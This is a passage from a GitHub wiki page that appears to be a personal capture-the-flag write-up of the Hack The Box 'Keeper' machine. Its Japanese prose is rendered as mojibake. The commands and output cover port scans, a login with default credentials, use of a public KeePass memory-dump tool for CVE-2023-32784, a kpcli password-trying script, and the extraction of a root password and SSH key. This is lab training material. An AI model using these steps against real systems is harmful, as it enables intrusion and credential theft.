HTB_keeper - meruneru/tech_memo GitHub Wiki
#script็กใใๅ
จๆข็ดข
nmap -Pn -p- --min-rate 5000 -oN nmap.txt keeper.htb
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# ใใฎๅพใใใผใๆๅฎใใฆใในใฏใชใใๆค็ดข
nmap -sV -sC -Pn -p 22,80 --min-rate 5000 -oN nmap.txt keeper.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_ 256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
UDP
$ sudo nmap -sU -top-ports 20 keeper.htb
ใตใคใใซ่กใใจใticketsใตใใใกใคใณใฎใชใณใฏใใใ /etc/hostsใซ่ฟฝๅ ใใใ
ใชใณใฏๅ ใซใใใจใใญใฐใคใณใใผใธใใใ
request trackerใจใใใตใผใในใฎใใใ ใ
RT ver 4.4.4ใๅไฝใใฆใใๆจกๆงใ
root/passwordใงใญใฐใคใณใงใใใ
Attachment 1,3,4 ใฏใปใญใฅใชใใฃใฎๅ้กใงๅ้คใใใใจใฎใใจใ
From: root@localhost
Date: Wed, 24 May 2023 12:37:17 +0200
X-RT-Interface: Web
MIME-Version: 1.0
Content-Transfer-Encoding: binary
Content-Type: text/html; charset="utf-8"
Content-Disposition: inline
Message-ID: <[email protected]>
Subject: Issue with Keepass Client on Windows
To: [email protected]
X-Mailer: MIME-tools 5.509 (Entity 5.509)
X-RT-Original-Encoding: utf-8
Content-Length: 166
Lise,<br />
<br />
Attached to this ticket is a crash dump of the keepass program. Do I need to update the version of the program first...?<br />
<br />
Thanks!
From: "The default queue" <[email protected]>
In-Reply-To:
Precedence: bulk
Content-Type: multipart/alternative; boundary="----------=_1684924638-1803-1"
X-RT-Loop-Prevention: tickets.keeper.htb
X-Managed-BY: RT 4.4.4+dfsg-2ubuntu1 (http://www.bestpractical.com/rt/)
Subject: [tickets.keeper.htb #300000] AutoReply: Issue with Keepass Client on Windows
X-RT-Originator: root@localhost
References: <[email protected]>
Date: Wed, 24 May 2023 12:37:18 +0200
MIME-Version: 1.0
Reply-To: [email protected]
Content-Transfer-Encoding: 8bit
X-RT-Ticket: tickets.keeper.htb #300000
Message-ID: <[email protected]>
Auto-Submitted: auto-replied
To: [email protected]
Content-Length: 0
Subject: AutoReply: Issue with Keepass Client on Windows
Content-Type: text/plain; charset="utf-8"
X-RT-Original-Encoding: utf-8
Content-Length: 862
Greetings,
This message has been automatically generated in response to the creation of a
trouble ticket regarding Issue with Keepass Client on Windows, a summary of
which appears below.
There is no need to reply to this message right now. Your ticket has been
assigned an ID of [tickets.keeper.htb #300000].
Please include the string [tickets.keeper.htb #300000] in the subject line of
all future correspondence about this issue. To do so, you may reply to this
message.
Thank you,
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Lise,
Attached to this ticket is a crash dump of the keepass program. Do I need to
update the version of the program first...?
Thanks!
Content-Type: text/html; charset="utf-8"
X-RT-Original-Encoding: utf-8
Content-Length: 712
<p>Greetings,</p>
<p>This message has been automatically generated in response to the
creation of a trouble ticket regarding <b>Issue with Keepass Client on Windows</b>,
a summary of which appears below.</p>
<p>There is no need to reply to this message right now. Your ticket has been
assigned an ID of <b>[tickets.keeper.htb #300000]</b>.</p>
<p>Please include the string <b>[tickets.keeper.htb #300000]</b>
in the subject line of all future correspondence about this issue. To do so,
you may reply to this message.</p>
<p>Thank you,<br/>
</p>
<hr/>
Lise,<br>
<br>
Attached to this ticket is a crash dump of the keepass program. Do I need to update the version of the program first...?<br>
<br>
Thanks!
Subject: AutoReply: Issue with Keepass Client on Windows
Content-Type: text/plain; charset="utf-8"
X-RT-Original-Encoding: utf-8
Content-Length: 862
Greetings,
This message has been automatically generated in response to the creation of a
trouble ticket regarding Issue with Keepass Client on Windows, a summary of
which appears below.
There is no need to reply to this message right now. Your ticket has been
assigned an ID of [tickets.keeper.htb #300000].
Please include the string [tickets.keeper.htb #300000] in the subject line of
all future correspondence about this issue. To do so, you may reply to this
message.
Thank you,
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Lise,
Attached to this ticket is a crash dump of the keepass program. Do I need to
update the version of the program first...?
Thanks!
Content-Type: text/html; charset="utf-8"
X-RT-Original-Encoding: utf-8
Content-Length: 712
<p>Greetings,</p>
<p>This message has been automatically generated in response to the
creation of a trouble ticket regarding <b>Issue with Keepass Client on Windows</b>,
a summary of which appears below.</p>
<p>There is no need to reply to this message right now. Your ticket has been
assigned an ID of <b>[tickets.keeper.htb #300000]</b>.</p>
<p>Please include the string <b>[tickets.keeper.htb #300000]</b>
in the subject line of all future correspondence about this issue. To do so,
you may reply to this message.</p>
<p>Thank you,<br/>
</p>
<hr/>
Lise,<br>
<br>
Attached to this ticket is a crash dump of the keepass program. Do I need to update the version of the program first...?<br>
<br>
Thanks!
From: "Enoch Root" <[email protected]>
In-Reply-To:
Precedence: bulk
Content-Type: multipart/alternative; boundary="----------=_1684924638-1803-2"
X-RT-Loop-Prevention: tickets.keeper.htb
X-Managed-BY: RT 4.4.4+dfsg-2ubuntu1 (http://www.bestpractical.com/rt/)
Subject: [tickets.keeper.htb #300000] Issue with Keepass Client on Windows
X-RT-Originator: root@localhost
References: <[email protected]>
Date: Wed, 24 May 2023 12:37:18 +0200
MIME-Version: 1.0
Reply-To: [email protected]
Content-Transfer-Encoding: 8bit
X-RT-Ticket: tickets.keeper.htb #300000
Message-ID: <rt-4.4.4+dfsg-2ubuntu1-1803-1684924638-1810.300000-8-0@keeper.htb>
To: [email protected]
Content-Length: 0
RT-Attach-Message: yes
Content-Type: text/plain; charset="utf-8"
X-RT-Original-Encoding: utf-8
Content-Length: 453
Wed May 24 12:37:18 2023: Request 300000 was acted upon by root.
Transaction: Ticket created by root
Queue: General
Subject: Issue with Keepass Client on Windows
Owner: lnorgaard
Requestors: [email protected]
Status: new
Ticket URL: http://keeper.htb/rt/Ticket/Display.html?id=300000
Lise,
Attached to this ticket is a crash dump of the keepass program. Do I need to
update the version of the program first...?
Thanks!
Content-Type: text/html; charset="utf-8"
X-RT-Original-Encoding: utf-8
Content-Length: 954
<b>Wed May 24 12:37:18 2023: Request <a href="http://keeper.htb/rt/Ticket/Display.html?id=300000">300000</a> was acted upon by root.</b>
<br>
<table border="0">
<tr><td align="right"><b>Transaction:</b></td><td>Ticket created by root</td></tr>
<tr><td align="right"><b>Queue:</b></td><td>General</td></tr>
<tr><td align="right"><b>Subject:</b></td><td>Issue with Keepass Client on Windows </td></tr>
<tr><td align="right"><b>Owner:</b></td><td>lnorgaard</td></tr>
<tr><td align="right"><b>Requestors:</b></td><td>[email protected]</td></tr>
<tr><td align="right"><b>Status:</b></td><td>new</td></tr>
<tr><td align="right"><b>Ticket URL:</b></td><td><a href="http://keeper.htb/rt/Ticket/Display.html?id=300000">http://keeper.htb/rt/Ticket/Display.html?id=300000</a></td></tr>
</table>
<br/>
<br/>
Lise,<br>
<br>
Attached to this ticket is a crash dump of the keepass program. Do I need to update the version of the program first...?<br>
<br>
Thanks!
ใตใคใๅ ้จใ่ชฟในใใจใใฆใผใถไธ่ฆงใใใฃใใ nameใใฆใผใถใผIDใฃใฝใใ
# Name Real Name Email Address Status
27 lnorgaard Lise Nรธrgaard [email protected] Enabled
14 root Enoch Root root@localhost Enabled
lnorgaard ใฎใฆใผใถใผๆ ๅ ฑใซไธ่จ่จ่ฟฐใใใ
New user. Initial password set to Welcome2023!
SSHใง ใญใฐใคใณใงใใใ ID. lnorgaard PW Welcome2023!
SSHใงใญใฐใคใณใใใจใ keepassใฎใใณใใใกใคใซใzipใซใใใใฆใใใฆใใฃใใ
ใกใขใชใใณใใงใในใฟใผใในใฏใผใใๅพฉๅ ใงใใ่ๅผฑๆง (CVE-2023-32784)ใใใใจใฎใใจใ https://forest.watch.impress.co.jp/docs/news/1501981.html https://github.com/vdohney/keepass-password-dumper https://github.com/CMEPW/keepass-dump-masterkey
ในใฏใชใใใๅฎ่กใใใจใไธๅฎๅ จใชๆๅญๅใๅพใใใใ
Combined: *{,, l, `, -, ', ], A, I, :, =, _, c, M}dgr*d med fl*de
*dgr*d med fl*de
ใจใใๆๅญๅใGoogleๆค็ดขใใใจใไธ่จใใใใใใใ
Rรธdgrรธd Med Flรธde--Swedish Berry Pudding.
ใในใฟใผใในใฏใผใใๅใใฃใใฎใงใใใผใฟใใผในใฎไธญ่บซใซใขใฏใปในใงใใใ
โโโ(kaliใฟkali)-[~/htb/keeper/keepass-dump-masterkey]
โโ$ cat key.txt
rรธdgrรธd med flรธde
โโโ(kaliใฟkali)-[~/htb/keeper/keepass-dump-masterkey]
โโ$ cat brute.sh
#!/bin/sh
# Usage: ./keepass-pwn.sh Database.kdbx wordlist.txt (wordlist with 2 char)
while read i
do
echo "Using password: \"$i\""
echo "$i" | kpcli --kdb=$1 && exit 0
done < $2
โโโ(kaliใฟkali)-[~/htb/keeper/keepass-dump-masterkey]
โโ$ ./brute.sh ../extr/passcodes.kdbx key.txt
Notes้จๅใฏPuttyใใฉใผใใใใงๅ ฌ้้ตใป็งๅฏ้ตใ่จ่ผใใใฆใใใ
kpcli:/passcodes/Network> show 0
Title: keeper.htb (Ticketing Server)
Uname: root
Pass: F4><3K0nd!
URL:
Notes: PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1Kt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z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
rsa.ppkใจใใใใกใคใซๅใซไฟๅญใใฆใputtygenใณใใณใใงid_rsaใซๅคๆใใฆใ rootใงใญใฐใคใณใงใใใ
โโโ(kaliใฟkali)-[~/htb/keeper] โโ$ cat rsa.ppk
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
...
โโโ(kaliใฟkali)-[~/htb/keeper]
โโ$ puttygen rsa.ppk -O private-openssh -o id_rsa
โโโ(kaliใฟkali)-[~/htb/keeper]
โโ$ ssh -i id_rsa [email protected]